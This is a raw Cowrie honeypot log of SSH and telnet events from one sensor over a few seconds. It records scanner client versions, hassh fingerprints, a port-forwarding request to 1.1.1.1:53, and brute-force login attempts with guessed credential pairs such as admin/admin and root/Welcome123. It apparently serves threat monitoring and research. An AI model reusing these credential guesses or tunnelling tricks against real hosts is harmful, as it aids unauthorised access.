{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.316260Z","src_ip":"87.251.64.176","session":"891f16c3c0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.430318Z","src_ip":"35.190.209.69","session":"372b5eadc00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16278,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ff94dba8db","protocol":"ssh","message":"New connection: 35.190.209.69:16278 (159.203.135.109:22) [session: d7ff94dba8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.505487Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.606063Z","src_ip":"87.251.64.176","session":"891f16c3c0f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.639632Z","src_ip":"35.190.209.69","session":"d7ff94dba8db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.705942Z","session":"891f16c3c0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.715084Z","src_ip":"35.190.209.69","session":"d7ff94dba8db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.721388Z","src_ip":"35.190.209.69","session":"d7ff94dba8db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.805180Z","src_ip":"87.251.64.176","session":"891f16c3c0f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16280,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b54691962ca","protocol":"ssh","message":"New connection: 35.190.209.69:16280 (159.203.135.109:22) [session: 8b54691962ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.868894Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.906012Z","src_ip":"87.251.64.176","session":"891f16c3c0f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:08.999178Z","src_ip":"35.190.209.69","session":"8b54691962ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.075044Z","src_ip":"35.190.209.69","session":"8b54691962ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.080704Z","src_ip":"35.190.209.69","session":"8b54691962ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16288,"dst_ip":"159.203.135.109","dst_port":22,"session":"51bad318ac80","protocol":"ssh","message":"New connection: 35.190.209.69:16288 (159.203.135.109:22) [session: 51bad318ac80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.224905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.306993Z","src_ip":"35.190.209.69","session":"51bad318ac80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.381662Z","src_ip":"35.190.209.69","session":"51bad318ac80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.618565Z","src_ip":"35.190.209.69","session":"51bad318ac80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49756,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fdf15ec2c82","protocol":"ssh","message":"New connection: 45.156.87.204:49756 (159.203.135.109:22) [session: 4fdf15ec2c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:09.941181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.023316Z","src_ip":"45.156.87.204","session":"4fdf15ec2c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.218130Z","src_ip":"45.156.87.204","session":"4fdf15ec2c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.557554Z","src_ip":"45.156.87.204","session":"4fdf15ec2c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":16304,"dst_ip":"159.203.135.109","dst_port":22,"session":"8255a68803ad","protocol":"ssh","message":"New connection: 35.190.209.69:16304 (159.203.135.109:22) [session: 8255a68803ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.744329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.772918Z","src_ip":"35.190.209.69","session":"8255a68803ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:10.875069Z","src_ip":"35.190.209.69","session":"8255a68803ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:11.296989Z","src_ip":"35.190.209.69","session":"8255a68803ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:11.642403Z","src_ip":"45.156.87.204","session":"4fdf15ec2c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33698,"dst_ip":"159.203.135.109","dst_port":22,"session":"e93666b6520b","protocol":"ssh","message":"New connection: 45.156.87.204:33698 (159.203.135.109:22) [session: e93666b6520b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:13.603064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:13.608628Z","src_ip":"45.156.87.204","session":"e93666b6520b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:13.692066Z","src_ip":"45.156.87.204","session":"e93666b6520b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:13.943329Z","src_ip":"45.156.87.204","session":"e93666b6520b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"b359161a9e61","protocol":"telnet","message":"New connection: 152.42.224.71:48090 (10.17.0.5:23) [session: b359161a9e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:14.801836Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:15.028506Z","src_ip":"45.156.87.204","session":"e93666b6520b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33702,"dst_ip":"159.203.135.109","dst_port":22,"session":"05237511d3ad","protocol":"ssh","message":"New connection: 45.156.87.204:33702 (159.203.135.109:22) [session: 05237511d3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:16.906293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:16.911582Z","src_ip":"45.156.87.204","session":"05237511d3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:16.994915Z","src_ip":"45.156.87.204","session":"05237511d3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:17.247145Z","src_ip":"45.156.87.204","session":"05237511d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:18.331521Z","src_ip":"45.156.87.204","session":"05237511d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.09501910209656,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:18.728828Z","src_ip":"152.42.224.71","session":"6a60504d8279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":54724,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a9cc03ca1f0","protocol":"ssh","message":"New connection: 83.111.76.195:54724 (159.203.135.109:22) [session: 5a9cc03ca1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:18.856579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:18.861445Z","src_ip":"83.111.76.195","session":"5a9cc03ca1f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:19.061940Z","src_ip":"83.111.76.195","session":"5a9cc03ca1f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.49418830871582,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:19.185345Z","src_ip":"152.42.224.71","session":"d5f6435b2777","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"asad","password":"123","message":"login attempt [asad/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:19.895905Z","src_ip":"83.111.76.195","session":"5a9cc03ca1f0","protocol":"ssh"}
